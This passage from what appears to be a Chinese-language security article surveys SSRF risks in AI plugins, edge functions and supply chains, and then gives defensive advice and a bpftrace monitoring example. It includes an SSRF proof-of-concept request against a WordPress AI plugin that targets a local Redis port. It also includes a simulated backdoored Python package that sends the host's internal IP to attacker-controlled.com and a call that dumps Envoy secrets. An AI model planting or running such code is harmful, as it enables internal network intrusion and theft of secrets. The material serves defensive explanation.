更危险的是,某些AI框架支持动态加载远程插件或Prompt模板,如GitHub Copilot Business版允许企业自定义Prompt逻辑。若某插件包含如下代码片段:
fetch(contextUrl + "/.well-known/ai-plugin.json")复制
且contextUrl由用户控制,则极易形成SSRF入口。
真实案例参考:
CVE-2023-38328(WordPress AI Assistant插件SSRF)
-
描述:该插件用于集成OpenAI API,但在处理用户提供的网站摘要请求时,未验证目标URL,导致可读取
file:///或内网服务。 -
影响版本:< 1.3.5
-
POC:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: vulnerable-site.com Content-Type: application/x-www-form-urlencoded action=ai_assistant_fetch_summary&url=http://127.0.0.1:6379复制 -
修复方式:升级至v1.3.5+,增加URL白名单及协议过滤。
2. 利用边缘计算节点作为跳板发起攻击
IoT设备、CDN边缘节点、FaaS函数常部署于企业内网边缘区域,具备一定网络可达性。若其上运行的轻量级Web服务存在SSRF,可成为理想的攻击跳板。
例如,Cloudflare Workers、AWS Lambda@Edge等平台允许开发者部署JavaScript函数处理HTTP请求。若某Worker代码如下:
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
const { url } = await request.json()
const response = await fetch(url) // SSRF风险!
return new Response(await response.text())
}复制
攻击者即可通过该Worker扫描企业内网:
{"url": "http://192.168.1.100:8080"}
→ 返回HTML标题:“Apache Tomcat/9.0.65”复制
进一步结合CRLF注入或HTTP Smuggling技术,甚至可实现跨租户攻击。
3. 与供应链攻击联动:依赖包中的SSRF后门
开源生态中,攻击者可通过污染NPM、PyPI、Maven等仓库中的流行库植入SSRF逻辑。例如:
-
恶意依赖包行为模拟:
# 假设这是一个被篡改的 requests-wrapper 包 import requests import socket import os def get(url): try: # 正常功能 return requests.get(url) finally: # 后门:悄悄上报本地信息 internal_ip = socket.gethostbyname(socket.gethostname()) metadata_url = f"http://attacker-controlled.com/log?ip={internal_ip}" try: requests.get(metadata_url, timeout=3) except: pass复制 -
或更隐蔽地仅在特定条件下触发SSRF:
if "SECRET_HEADER" in os.environ: requests.get("http://127.0.0.1:15000/secrets") # Istio Envoy secrets dump复制
此类攻击难以通过静态扫描发现,且影响范围广。2022年发生的node-ipc事件虽非SSRF,但展示了供应链攻击的巨大威力——数百万项目受影响。
未来防御建议
针对上述趋势,提出以下前瞻性防护策略:
| 威胁类型 | 防御建议 |
|---|---|
| AI驱动型SSRF | 在LLM工具调用前加入URL语义解析器,阻断含127., localhost, .local等关键词的请求 |
| 边缘节点SSRF | 对边缘函数设置严格的出站规则(如只允许访问CDN源站IP段) |
| 供应链SSRF后门 | 引入SBOM(Software Bill of Materials)管理,定期审计第三方依赖行为 |
| 元数据服务滥用 | 强制启用IMDSv2(需token)、限制Role权限粒度、关闭非必要实例的Metadata访问 |
此外,推荐使用以下工具辅助检测与防御:
-
检测工具:
- Burp Suite Professional:内置SSRF Scanner,支持盲打探测。
- dalfox:命令行XSS/SSRF扫描器,支持参数污点追踪。
- Nuclei:提供大量SSRF模板(如
miscellaneous/ssrf-check.yaml)。
-
运行时防护:
- ModSecurity + OWASP CRS:配置规则集拦截可疑URL模式。
- eBPF程序监控:使用
bpftrace跟踪所有connect()系统调用,记录非预期连接。
示例:使用bpftrace监控异常出站连接
# 监控所有非80/443端口的connect调用
bpftrace -e '
tracepoint:syscalls:sys_enter_connect {
$sa = (struct sockaddr_in*)args->uservaddr;
$port = ntohs($sa->sin_port);
if ($port != 80 && $port != 443 && $port < 1024) {
printf("[%s] connect to port %d\n", comm, $port);
}
}'复制
输出示例:
[curl] connect to port 6379
[php-fpm] connect to port 2375复制
可据此快速定位潜在SSRF活动。
综上所述,SSRF不仅是传统Web安全的老问题,更是云原生时代的关键突破口。未来的攻防博弈将更加复杂,唯有坚持“输入不可信、权限最小化、防御多层化”的基本原则,并持续关注新技术带来的衍生风险,才能在不断演变的威胁环境中立于不败之地。

浙公网安备 33010602011771号